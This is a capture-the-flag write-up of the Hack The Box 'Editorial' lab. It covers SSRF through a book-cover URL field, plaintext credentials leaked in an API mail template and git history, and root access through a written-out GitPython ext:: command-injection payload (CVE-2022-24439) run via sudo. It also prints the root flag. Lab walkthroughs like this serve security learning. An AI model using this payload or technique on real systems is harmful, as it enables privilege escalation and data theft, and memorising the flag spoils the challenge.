iconBjarne Verschorre

../editorial.md
Room Banner
🔗 https://app.hackthebox.com/machines/608

Reconnaissance

Nmap

My Nmap scan shows that there are two open ports, 22 and 80, very simple.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Editorial Tiempo Arriba
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Website

Heading to http://10.10.11.20/ redirects me to http://editorial.htb/ so I have to add that to my /etc/hosts file. I’ve also started a directory enumeration and VHOST scan but those didn’t yield any results.

Upload

Browsing the website you’ll see that there’s a page to “publish” your book with them.

Book Publish
Book Publish

Exploitation

SSRF

I saw the “Cover URL related to your book” and where there’s a URL input, there’s (possibly) SSRF..

Fuzzing for some ports :5000 checks out.

Book Publish SSRF
Book Publish SSRF

It sends out a POST request to /upload-cover with the URL (SSRF payload) which returns a URL:

URL Response
URL Response

Heading to this URL returns a list of possible API endpoints:

API Endpoints
API Endpoints

Going to one of the endpoints, just gave me a 404.. BUT using SSRF with said endpoint gives us another URL:

SSRF Author Endpoint
SSRF Author Endpoint

Rinse and repeat and we see some credentials inside of a mail template:

SSRF Mail
SSRF Mail

Shell as dev

Using SSH to login we can see an apps/ directory next to the user flag.

dev@editorial:~$ ls -la
total 32
drwxr-x--- 4 dev  dev  4096 Jun  5 14:36 .
drwxr-xr-x 4 root root 4096 Jun  5 14:36 ..
lrwxrwxrwx 1 root root    9 Feb  6  2023 .bash_history -> /dev/null
-rw-r--r-- 1 dev  dev   220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 dev  dev  3771 Jan  6  2022 .bashrc
drwx------ 2 dev  dev  4096 Jun  5 14:36 .cache
-rw-r--r-- 1 dev  dev   807 Jan  6  2022 .profile
drwxrwxr-x 3 dev  dev  4096 Jun  5 14:36 apps
-rw-r----- 1 root dev    33 Jun 20 19:47 user.txt

The directory is empty except a .git/ directory which directs me to the git history

dev@editorial:~/apps/.git/logs$ cat HEAD 
0000000000000000000000000000000000000000 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8 dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682905723 -0500       commit (initial): feat: create editorial app
3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8 1e84a036b2f33c59e2390730699a488c65643d28 dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682905870 -0500       commit: feat: create api to editorial info
1e84a036b2f33c59e2390730699a488c65643d28 b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682906108 -0500       commit: change(api): downgrading prod to dev
b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae dfef9f20e57d730b7d71967582035925d57ad883 dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682906471 -0500       commit: change: remove debug and update api port
dfef9f20e57d730b7d71967582035925d57ad883 8ad0f3187e2bda88bba85074635ea942974587e8 dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682906661 -0500       commit: fix: bugfix in api port endpoint

I used git show to check the commits

dev@editorial:~/apps/.git/logs$ git show b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:55:08 2023 -0500

    change(api): downgrading prod to dev

    * To use development environment.

diff --git a/app_api/app.py b/app_api/app.py
index 61b786f..3373b14 100644
--- a/app_api/app.py
+++ b/app_api/app.py
@@ -64,7 +64,7 @@ def index():
 @app.route(api_route + '/authors/message', methods=['GET'])
 def api_mail_new_authors():
     return jsonify({
-        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
     }) # TODO: replace dev credentials when checks pass

 # -------------------------------

This shows the credentials like dev but for prod.

Shell as prod

Simple su prod switches us to prod.

prod@editorial:~$ sudo -l
[sudo] password for prod: 
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

We can run clone_prod_change.py as root with any paramaters.

#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

Since the script is very small we can look up the function calls to see for vulnerabilities. This worked out pretty well in this case, this code is vulnerable to CVE-2022-24439 which is an RCE in GitPython.

Root flag

We can use this vulnerability to get the contents from /root/root.txt.

prod@editorial:~$ sudo python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c cat% /root/root.txt% >% /home/prod/root.txt"
Traceback (most recent call last):                              
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)                                      
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)                     
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)                    
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)                                                 
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)                                                                                                                                                                                                 
  cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c cat% /root/root.txt% >% /home/prod/roott.txt new_changes                                                                                                                                          
  stderr: 'Cloning into 'new_changes'...                                                                                                                                                                                                                          
fatal: Could not read from remote repository.                                                                                                                                                                                                                     
                                                                                                                                                                                                                                                                  
Please make sure you have the correct access rights                                                                                                                                                                                                               
and the repository exists.                                                                                                                                                                                                                                        
'
prod@editorial:~$ cat root.txt
60157c01751d0e80f95041f3c8964eb9

There we go, root flag.

← Usage